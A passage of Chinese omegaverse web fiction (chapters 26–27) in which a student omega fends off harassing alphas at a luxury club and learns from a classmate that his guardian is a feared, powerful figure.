而柳游显然是这里的常客,他们走过去的一路上,不少年轻健壮的alpha认出了他,并向他们投来毫不掩饰的打量目光。
柳游望着那些想要贴上来的人,分明有话要说,但碍于杜若寒在这,只好欲言又止。
见状,杜若寒便让他去玩,自己一个人用餐也没关系。
柳游犹豫了一下,脸上露出一抹歉意道:
“那我去跟他们打声招呼,很快就回来。”
杜若寒点点头,瞧见柳游像一尾欢快的小鱼游进了五彩斑斓的鱼缸里,不知道在和他那些所谓的朋友们说些什么,他们时不时的还抬起头朝杜若寒所在的方向偷摸着看上两眼。
杜若寒觉得他们真的不算有礼貌,吃完最后一块牛排后,他从口袋里摸出手机给竹玉渲回消息。
【宴会好玩么?(好奇猫猫眼.jpg)】
杜若寒想了想,回道:还不如在家刷卷子(俺不中嘞.jpg)
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他回完消息后习惯性地朝柳游所在的位置看了一眼,柳游已经不见了,但是他那两个alpha朋友却还在,两人对视一眼,竟然同时朝着杜若寒看了过来。
杜若寒忍不住皱眉,那两个alpha看他的目光直白的让人感到很不舒服。
杜若寒下意识从座位上站起来就要走,而那两个alpha竟然动作更快的穿过人群站到了他的面前。
“你好,可以认识一下么?”
其中一个alpha开口,杜若寒甚至连这两人长什么样子都没看清,脸色瞬间白了几分的向后退了两步。
被强烈的信息素冲击到头晕恶心的杜若寒,这才意识到站在自己面前的这两个alpha,竟然都没有佩戴信息素抑制环。
并且开口说话的那个男人,故意控制了信息素的释放,使其在杜若寒周围聚拢而又不会向外扩散。
杜若寒倏地抓紧了口袋里的手机,目光本能的向周围的其他人看去。
而这一看,他的心当即凉了一大半。
那些穿着靓丽光鲜的男男女女们,有的注意到了这偏僻的角落,而有的没有。
但无论是注意到还是没注意到的他们,也都只是视线冷漠而快速的略过他的脸。
在意识到他只是一个无关紧要且籍籍无名的小人物后,便又转过头去接着与身边人笑着攀谈,分明是对这边危险的情况视若无睹。
好似在这种场合,一名弱小的omega只要出现在这里就是接受了可以被这里的alpha肆无忌惮欺辱的潜规则。
更何况他还佩戴了信息素抑制环,并不像这里绝大多数的omega一样,佩戴了本就代表着情色的透明抑制环。
杜若寒几乎是强撑着那股恶心,快速冷静下来,在人群中寻找了一圈柳游的身影。
不知道是有意还是无意,柳游人直接消失了。
意识到这一点的杜若寒其实并不怎么害怕,只是被信息素搞的很想吐。
这些人的信息素实在是太臭了,像是热炸了的蛋黄里混进了尿骚味,恶心的他饭都要呕出来了。
他还没有说话,站在他面前的另外一个alpha就已经神情不耐的嘻笑道:
“哑巴啦,怎么不说话?还是咱们英俊潇洒的齐少没资格和你认识呀?”
尽管他们大了杜若寒不少,但在杜若寒眼里这两个人跟那些在街头讨要保护费的混混没多大区别。
唯一的区别是,小混混们穿的虽然吊儿郎当,但也挺能打。
而这些家伙倒是穿的西装革履,不知道等会能挨他几拳。
不过要是把人打的太重了的话,会不会让江先生在人前很为难?
杜若寒脑海里只剩下这唯一的一个念头,还是不要让江先生太难做。
就打两拳好了,大不了他等会道歉的诚恳点就好了嘛。
杜若寒这样想着,忽而冲眼前两个alpha淡淡一笑。
26.第 26 章
少年的笑容来得莫名晃眼,一本正经的小脸上甚至闪过几分不好意思的羞涩和腼腆。
那两名alpha明显看愣了一下,正以为眼前的omega终于怕了,知道识趣迎合了。
那被称作董家二少的alpha,脸上的笑还没扬起来,下一秒,左脸颊猝不及防且猛烈的挨上一拳。
剧痛席卷而来,鼻腔好似有温热的液体顺着指缝在往下滴。
男人向后踉跄了两步才站稳身体,等他放下手来一看。
满手的血。
一瞬间男人的表情狰狞起来,抬起头几乎目眦欲裂的喊道:
“你他妈敢打我?信不信我杀了你!”
他这一声喊的动静不小,整个宴会厅的男男女女几乎是在同一时间停下交谈,寂静地朝他们投来打量的目光。
没有任何一名alpha能忍受这样的挑衅与屈辱,尤其是站在他面前的只不过是一个瘦弱不堪的omega而已。
杜若寒没怎么躲,瞧着那人糊了一脸血显得有几分滑稽的脸上满是愤怒与狠戾。
这下可不太好跟江先生交代了,杜若寒脑海里闪过这个念头,垂落的手刚要抬起。
他们身后突然响起一道清冷的声音。
“住手。”
董宇辉下意识转头朝着声音的来向看过去,当他触及到宴会厅旁正要走过来的高大身影时,脸色顿时一变。
他身旁的同伴还搞不清状况,冲着来人肆无忌惮的挑了挑下巴。
“怎么?周公子这是想要英雄救美啊?”
周公子?
杜若寒向外走了一步,错开视线后才发现来人竟是一个老熟人。
和平时学校里见到的不同,今晚的周书庭穿了一套量身定做的西装,整个人冷着脸站在那身姿显得很挺拔。
即便他不说话,浑身上下也散发着难以亲近的矜贵与清傲。
杜若寒看着他的同时,周书庭也正望着他,眼里闪过复杂的情绪。
没想到真的是他。
董宇辉的同伴还想再说些什么,就被董宇辉从身后一把按住了肩膀,声音透着几分慌张:
“别说了别说了!赶紧走吧!”
那人还不以为然,笑着安抚他:
“哎呀董少你别担心,别的关系不说,周警督那可是我——”
他话才说一半,余光忽而瞥见周围的人群神情惊讶而错愕,竟慢慢向外让出了一条道来。
等他看清要过来的人时,一瞬间脸都白了。
“董少,这、这怎么回事?”
“还能怎么回事?我们他妈都被柳游那个小贱人给耍了!”
董宇辉咬牙切齿的说完,用力抹了一把脸,试图将脸上的血还有额头上的汗全都擦掉。
转过身看向刚刚打了他的少年,像京剧变脸那样一下子换了个人似的,脸上扬起大大的笑,客气而又夹杂着十足的谄媚劲。
杜若寒和周书庭对视一眼,两人都有些觉得莫名其妙。
董宇辉可不管别人怎么看,舔着脸笑着说:
“误会!刚刚都是误会!”
“我们不知道您是那位身边的人,我竟然敢不懂事拿脸撞疼了您的手!”
说着说着董宇辉用力一推身边的同伴,佯怒道:
“你也不拦着点!我这脸皮厚,万一打疼了少爷的手怎么办?”
那人愣了一下,立马回过神来点头哈腰道:
“是是是!是我考虑不周,您千万别生我们的气,要是实在生气了,我替您打他,我手重力气大!千万别伤了您的手……”
两人一唱一和配合的好极了,杜若寒都看懵了。
董宇辉小心翼翼的看了杜若寒一眼,“您、您手还疼么?要不我给您吹吹?”
杜若寒无声的回看了周书庭一眼,这人吃错药了?
还是被他一拳打出受虐倾向了?不带玩的这么变态的吧?
周书庭更是满脸复杂,表情一言难尽。
他的目光直接穿过那两人,看向不远处正走过来的西装暴徒。
他们的脖颈上与手腕上皆佩戴了泛着冷色调的金属抑制环,能在这满是有钱人的宴会厅里视若无睹横着走的,并不是大人物本尊。
而仅仅只是那位身边保镖的出场,也压的这宴会厅的众人噤若寒蝉。
其中为首个子极高的男人,脸上戴着一副黑色墨镜,周书庭只能看见他线条锋利的下巴与颜色寡淡的唇。
他径直走到杜若寒的面前,在距离他半米左右的位置停下,冷厉的目光透过墨镜在董宇辉他们身上扫视而过,像一把刺穿人脊骨的寒剑。
董宇辉吓出了一身冷汗,心里无数只草泥马奔腾而过。
那位会来剑岚公馆为什么一点消息都没收到?不可能啊,他怎么会来?不可能啊,除非……
想到某种可能性的董宇辉吓得腿都有些软,这些人身上搞不好是带了木仓的……
只见那名西装暴徒走到刚刚打了人的少年面前,微微躬身态度恭敬的询问道:
“少爷,发生什么事了?”
杜若寒知道他,关恪是关重的弟弟,两人同为江先生的左右手。
只不过在级别上来说,关重要高于关恪一些。
其实比起周围其他人,杜若寒心里的惊讶同样不小。
他没想到江先生事前早有预料的在他身边安排了人。
更没想到出入这种高档场所、所谓上流社会的精英和富豪们,竟都是披着华美人皮的衣冠禽兽。
董宇辉和他身边的魏江看向少年的目光多少带着些求饶的味道,生怕他真的说了什么,自己吃不了还要兜着走。
而杜若寒也不想在这闹的难堪,周围全是人,落在他身上的目光什么都有,期间还夹杂着听不清的窃窃私语。
他顺手将手机里准备发给江先生的短信删掉,抬起头余光瞥见挤过人群的纤细身影,不是姗姗来迟的柳游,还能是谁?
他忽而改变了主意,笑了一下对关恪说道:
“没事,他们都是柳游的朋友,刚刚是在用脸跟我打招呼呢。”
听到这话的关恪哪还有不明白的,仔细看了看少年的手与衣服,没有任何问题之后,才抬起头看向一旁的两人,目光泠冽。
柳游不知这里发生了什么,心里莫名的涌起一股强烈的不安感。
他刚走到跟前,董宇辉便忍不住猛地暴起一把抓住了他的衣领,将人差点拽翻在地,动静之大吓的柳游当场失声尖叫。
魏江赶紧冲杜若寒笑笑,“没事,他们闹着玩呢,这是董少独特的打招呼方式!打招呼呢!”
杜若寒也笑着点点头,“明白,那我就不打扰你们叙旧了。”
他转过头对关恪低声说一句没事了,关恪并没有立刻就走,而是护送了一段距离后,才和其他的西装暴徒一起
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隐于角落看不见了身影。
而杜若寒和周书庭走后没多久,董宇辉与魏江客气地笑瞬间消失的无影无踪。
两人看向柳游的表情阴冷的可怕,董宇辉似笑非笑:
“柳少爷,耍我们好玩么?”
左脸颊已经挨了一巴掌的柳游脸色惨白的抬起头,想要解释什么已经晚了。
这两人,一个是房地产大亨的孙子,另一个则是连锁餐饮大王魏奇光的小儿子。
无论他得罪了哪一个,武仲华都不会护着他的,更何况是两个一起得罪。
魏江已经按耐不住脾气,一脚猛地踹了上去,看着柳游痛苦的流下眼泪,他神情越发的狰狞,仍旧觉得不够解气,招手喊来一个服务生。
“魏少。”
魏江面无表情的看着地上求饶的柳游,声音阴冷:
“给人带去023号房,怎么说也要让董少解解气吧?”
柳游听到这个房号整个人都僵在了原地,恐惧心底滲出侵蚀了每一根血管,他几乎面色扭曲的哀求:
“不要不要!求求您了!求您绕了我!我会死的!我真的会死!”
他又朝着外围看戏的那些人伸手,“救救我!救救——”
可没有人理会他的自作自受,就如同一开始被欺辱的杜若寒一样,无人在意。
—————
“你怎么会在这?”
杜若寒也没想到自己还会有见到周书庭也觉得开心的时候。
“这话应该是我问你才对吧。”
此时的周书庭又恢复成了他所熟悉的模样,板着一张脸像一个刻板的小大人,说话也是硬邦邦的。
杜若寒已经习以为常,并不怎么在意。
“我跟着……”杜若寒想了想忽而改口道:
“我跟着我哥过来的。”
听到这话的周书庭倏地停下脚步,看向他的目光更是复杂而又古怪。
“你哥?”
“杜若寒,你最好和我说实话,你到底是跟着什么人进来的,这里没你想象的那么简单美好。”
周书庭说这话的语气太过严肃,以至于杜若寒愣了一下。
见杜若寒不说话,周书庭沉着气又问:
“你哥姓什么?姓什么总可以说了吧。”
杜若寒微微皱眉,不明白他究竟想要说些什么。
“姓江,他姓江。”
听到这一声,悬在周书庭心中的大石头还是重重的落地了。
他诡异的沉默了一会儿,在杜若寒不解的目光中深吸一口气道:
“杜若寒,你有没有想过你这个哥哥……他根本就不姓江?”
杜若寒愣怔一瞬,“什么意思?”
此时周书庭看向杜若寒的目光变得更复杂了,充斥着怜悯又或是同情。
“你被骗了。”
————————
与此同时,剑岚公馆的顶层。
一个身形高大的男人倚坐于沙发之上,昏暗的光线照不亮他脸上不耐的神情。
跪在他面前本该强大的enigma竟像条狗一样,痛哭流涕地在哀求着什么。
男人没仔细听,只觉得聒噪的很,轻啧一声道:
“我保不了你,这些求饶的话,你还是亲自说给他听吧。”
“不过……”男人歪了歪头,笑的很愉快:
“我想他应该不会爱听的吧?”
27.第 27 章
“你被骗了。”
听到这话的杜若寒脸上没有丝毫的惊慌和害怕,甚至还很浅的笑了一下。
“我被骗什么了。”
周书庭看向他的眼眸变得复杂,像是在看一个彻底被蛊惑且无可救药的傻瓜。
但令他无法反驳的一点是,现在的杜若寒给他的感觉真的变了。
和在学校沉默寡言的孤僻阴郁不同,此时的杜若寒脸上带着很淡的微笑,浑身上下透着一种舒适的松弛感。
这种松弛感大概来源于某个人给足了底气,从而使他在面对那两个下流的alpha时,才会显得如此锋芒外露。
像一把淬炼过的利刃。
又或许他从未真正的了解过他,周书庭沉默了几秒,倒是想起来学校里关于杜若寒的那些流言蜚语,真假难辨,但也并非空穴来风。
他蹙起眉看向杜若寒,忽而开口问道:
“你知道他的保镖为什么会佩戴双重抑制环么?”
杜若寒神情显得平静,即便他清楚的明白周书庭说的“他”指的是江先生。
但这种不敢明说而模糊其词的做法,缺令杜若寒产生了一种难以言说的微妙感。
他摇摇头,看了一眼周围。
他们此时站在走廊的里侧,高大的盆景遮挡住了他们大部分的身影,但时不时还会有人从外侧经过,对他们投来打量的好奇目光。
“你有话直说就好。”
他没办法直截了当的和周书庭摊牌,对于江先生,实际上他知之甚少。
而周书庭这幅欲言又止的模样,分明事有话要讲,只不过一直在顾忌着什么,不敢讲的太过直白而已。
周书庭没有立马接话,只是抬头看了一眼走廊的上方。
杜若寒微微一愣,顺着他的视线往上看去,瞬间秒懂。
这里到处都是监控,并且监控的摄像头藏的十分隐蔽。
想要在这里避开所有的监控,基本上是一件不可能的事情。
周书庭朝着电梯口走去,双手摸了一下他的西服口袋,摸空之后动作稍稍一顿。
他不得不停下看向杜若寒,“你有这里的会员卡么?”
杜若寒没有立马接话,而是走到他跟前才从口袋里摸出那张裴雪宁偷偷留给他的烫金色卡片。
“这个算么?”
和杜若寒猜想的差不多,那张卡片上凸起的部分就是一只样式古老而肃穆的女王权杖,圆形的顶部镶嵌着一颗鸽血红的宝石,不大,但净度极高。
他抬起头看见了周书庭脸上的神情,又是那种极其复杂又难以言喻的神色。
想说什么,偏偏又要忍着不说,杜若寒都怕他把自己憋坏了。
“这卡谁给你的?”周书庭最终还是没忍住,在按下电梯按钮时问出了口。
“裴雪宁。”
杜若寒没有隐瞒的必要,这张卡上能镶嵌着这么一颗价值不菲的宝石,足以代表此卡持有者的身份。
更何况周书庭一脸想说又非要忍着不说,分明是知道什么。
杜若寒直接将卡递给了周书庭,周书庭明显愣了一下,才伸手接过。
“你怎么会认识他?”
“不重要。”
跟江先生有关的事,杜若寒不愿意说的太多。
周书庭没有再问,伸手按下负一层的按钮。
等电梯门再度打开,展露在他们面前的,是一条光线十分昏暗且入口处泛着诡异红光的走廊。
“我们要去哪。”
出了电梯后,杜若寒脚步微微一顿,心里有一种不太好的预感。
而周书庭的脸隐匿于晦暗之中,看不清神情,杜若寒只能靠声音来揣测他的意图。
“跟我走。”
说完,周书庭便不等他回话便快步朝外走去。
杜若寒迟疑了仅仅两秒,便跟上。
“小心脚下。”
穿过两条几乎一摸一样黑的长廊,左右拐了不知道多少次,他们来到一部崭新的黑色电梯跟前。
“裴雪宁的卡是一张伯爵卡。”
“他在这里的权限很高,可以任意刷开这里绝大部分的房间和想要直达的楼层。”
周书庭侧过脸来看向杜若寒,眉眼浸润在一片阴影之中。
“你知道她是谁么?”
不等杜若寒回答,他便接着往下说道:
“杜若寒,我不管你是有什么样的苦衷才和他们有所牵扯。”
“你必须听我一句劝……”周书庭忽而压低了声音,“他们可没你看到的那么美好和善良。”
说完这些话的周书庭快速的刷开了眼前的电梯,在进入电梯时,杜若寒明显能感觉到他的迟疑。
但最终他还是踏进了这部电梯里,杜若寒紧跟其后。
“你是第一次来?”杜若寒忽然开口道。
虽然是疑问,但周书庭知道他已经有所怀疑,也就没有什么好隐瞒的。
“我舅舅是这里的常客,负一层我只来过一次。”
说到这,周书庭稍稍停顿了一下:
“他喝醉酒时,我来这里接过他一次。”
杜若寒眼里闪过几分诧异,周书庭舅舅市长的身份在整个江临一中都算不上什么秘密。
毕竟电视上天天都能看见,是一个气质非常内敛而外表英俊的顶级alpha。
今年也不过才三十出头,可谓是年纪轻轻便平步青云,日后的仕途前景一片光明璀璨。
但即便是这样位高权重的政府官员,尽然也会出入剑岚公馆,可见这其中官商勾结非同一般。
电梯又往下走了一层,杜若寒这才知道什么叫别有洞天。
同样是狭窄而昏暗的通道,除了他们之外便是围着严严实实的高墙,像是恐怖电影里特写的诡异迷宫。
大抵是怕杜若寒害怕,周书庭的步伐慢了一些,他在前头小声的解释道:
“刚刚那部电梯只专属于我舅舅一人,所以我们下来的位置,只会通往专属于我舅舅的房间。”
杜若寒心里的震惊被昏暗的光线尽数吞没,他甚至不敢细想这些话中更深的含义。
周书庭的记性很好,哪怕只来过这里一次。
顺着唯一的一条通道走到底,便是一道崭新的红门。
红门的顶部亮起一道柔和的灯光,它照亮杜若寒和周书庭微微发白的脸庞。
“你带我来这里,你舅舅会不会知道?”
杜若寒不太放心,红门的门锁不仅仅只有专属卡可以刷开,输入密码或是指纹也同样能解锁。
周书庭抬头看了他一眼,快速的将密码输了进去。
“没事,这里不会设有监控,我舅舅那边我会去和他说明。”
随着机械冰冷的“滴滴”声,红门悄无声息的在两人的面前打开,一道格外温柔的女声在房间里响起。
“谢市长,欢迎回家。”
听到这一声的杜若寒着实吓了一跳,他以为房间里有人,但事实上刚刚那一声,也只是电子管家的声音而已。
这也太明目张胆了。
杜若寒皱着眉将心里的话说了出来,房门自动上锁之后,周书庭转过身来看向他。
“我舅舅并不是一开始就是市长的。”
这句话说的实在是没头没尾,杜若寒却听的心里猛地一颤,生怕他接着往下说。
但好在周书庭并没有这样的想法,杜若寒才缓缓的松了一口气。
这世上有些事,是不能被知道或是随意好奇的。
他打量了一下面前的会客厅,两层挑高,奢华的欧派装饰风格,抬头就能看见头顶上垂落的水晶吊灯,一如既往的奢侈、张扬。
在会客厅的左侧,是一整墙嵌入式的书架,上面密密麻麻摆满了各色各样的书籍,像是蜿蜒而下的长龙,有一种错落有致的美感。
而在会客厅的右侧,同样是嵌入式的巨大水晶屏幕,沉默着倒影出他瘦长的身影。
周书庭走过来递给他一瓶气泡水,“只有这个,没有办法,他爱喝的只有气泡水。”
杜若寒伸手接过,笑了一下:“你和你舅舅感情很好。”
周书庭轻抿了一口,低垂着眼,脸上的神情总是这般雾蒙蒙的。
“…小时候我和他的感情要比现在还要好。”
杜若寒愣了一下,没有接话,周书庭便回过神来看向他,直截了当的说道:
“裴雪宁在这些上流圈子里,可是出了名的交际花,他为裴家的利益奔波游走多年,同样也是这剑岚公馆的投资人之一。”
“即便如此,他手里的那张伯爵卡也并不是这里的最高权限卡。”
“在伯爵之上,还有两个等级,那就是公爵与亲王。”
说到这,周书庭稍稍停顿,看向杜若寒的眼眸忽而变得深邃漆黑。
“你猜会给你开家长会的哥哥,会是他们当中的哪一个?”
杜若寒呼吸一窒,周书庭在描述一个他从未想过、也从未敢触碰过的世界。
他一直以为江先生只是一个比较有钱的普通商人,但直至今日,他再细细回想起曾经的众多细节,无不令人后背冒出冷汗来。
“这里的公爵我不知道具体有几个,我舅舅勉强算一个。”
“至于这里的亲王……”周书庭看向杜若寒的神情又是那种一言难尽的复杂。
“可只有两位。”
“一个是华银联盟最为年轻且功绩显赫的吕昀霆上
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将,听我舅舅说,他现在是民主党的顶部力量,极有可能是下一任联盟总统的竞选人之一。”
“另一个,你应该也听说过。”
周书庭每说一个字,杜若寒眼皮便是止不住的跳动一下。
他左手握着玻璃瓶的指尖因为过度用力,而显得苍白。
“他曾经是国家E能反联盟计划的最高执行官,听说当年吕昀霆与其共同谋事过一段时间……”
说到这,周书庭稍稍停顿,声音也止不住的压低了一些。
“没能竞争过,还差点死在他手里。”
杜若寒大脑一片空白,怎么也无法将这些字这些话与他所熟悉的人所联系起来。
“杜若寒,你恐怕不知道吧。”
“他杀人是不犯法的,因为,他便是法。”
周书庭一字一顿,“你以为那些佩戴双重抑制环的顶级alpha为什么要多佩戴一重?”
“因为那根本就不是用来压制他们体内信息素的东西,而是为了保护他们自己不受到enigma的E能压制用的。”
杜若寒瞳孔猛地一缩。
说到这,周书庭的语速越来越快,声音也带着细微的颤抖,好似这些话憋在心里太久,此时不得不一吐而快。
“你以为他身边的那些人都只是比较特殊点的保镖?知道董宇辉和魏江为什么会在那些人面前差点吓破了胆么?”
周书庭面无表情,“你恐怕连董宇辉和魏江是谁都没听说过吧。”
杜若寒深呼吸了几次,才万分艰难的点了一下头。
周书庭没有再接着给他施压,也是怕他心里多少有些承受不住,于是放缓了语气道:
“他们两个一个是房地产大亨的儿子,一个是连锁餐饮魏胜的儿子。”
“在那些人面前,他们再有钱身份再尊贵都没用。”
“因为他们有特权,和那人一样,杀人不算犯法的特权。”
“他们都是军部的人,要比一般的士官身份还要特殊些,接受过E能特训且在特训中活下来的,才有资格成为那人的下属。”
“他们只会听从那人的调遣,绝大部分的时间里都是相安无事的,除非……”
周书庭声音一顿,“有人找死。”
————————
杜若寒前脚刚走,后脚他表哥就找了个由头将他与武仲华打发了走。
裴雪宁不是傻子,能看得出来他表哥答应给武仲华几分钟的时间,只不过是想趁着这个机会调开懵懂无知的小朋友而已。
可偏偏要装作体贴入微的好好先生,怎么也要询问一下小朋友的意见。
而正如他所预料的那般,小朋友不会过多打扰他谈事,自觉的离开了。
演戏也要演到底,他显得并不是很满意这个答案。
所以裴雪宁被他很冷淡的打发走,多多少少也有迁怒他人的意思。
裴雪宁识趣的不会再跟,从他表哥踏入剑岚公馆开始,这里已经算不上有多安全了。
他很快便拨通了一个人的电话,那人的声音透过手机传递到裴雪宁的耳边,声音慵懒而低沉:
“宝宝?”
裴雪脊背一僵,仍旧会本能的觉得恶心,他深吸一口气才说道:
“你在公馆对么,我表哥已经到了,那个enigma你绝对不准保,听见了没有?”
过了好一会儿,那边才传来男人的声音。
“知道了老婆。”
裴雪宁脸色一变,谁是他老婆?手里恨恨的挂断了电话。
而另一边,抵达顶层的关恪犹豫了一秒,还是敲开了眼前的房门。
“进。”
房间里只亮起一盏昏暗的台灯,走至跟前的关恪第一眼看见的并不是男人一半在明一半在暗的脸。
而是,摆放在大理石桌面上的两样冰冷的东西。
一把锋利到能轻易割开喉咙的匕首,另一个,则是一把黑漆漆木仓口对着门口的手木仓。
关恪的视线仅仅是在这两样东西上逗留一秒,很快回过神来禀报道:
“先生,杜少爷被谢望的外甥周书庭带去了负三层。”
第五江臧原本闭着的眼眸忽而睁开,眼里的泠冽宛如寒潭。
“他自愿去的?”
关恪微怔,心里也是有些诧异先生怎会猜的如此准。
不过想来也是,如果不是杜少爷自愿,没有人敢在他们眼皮子底下带走他。
“是。”关恪想了想,还是说道:
“周书庭好像是杜少爷的同班同学。”
第五江臧没有说话,只是勾了勾唇角,淡漠的声音根本听不出真正的喜怒。
“想玩,那就让他玩好了。”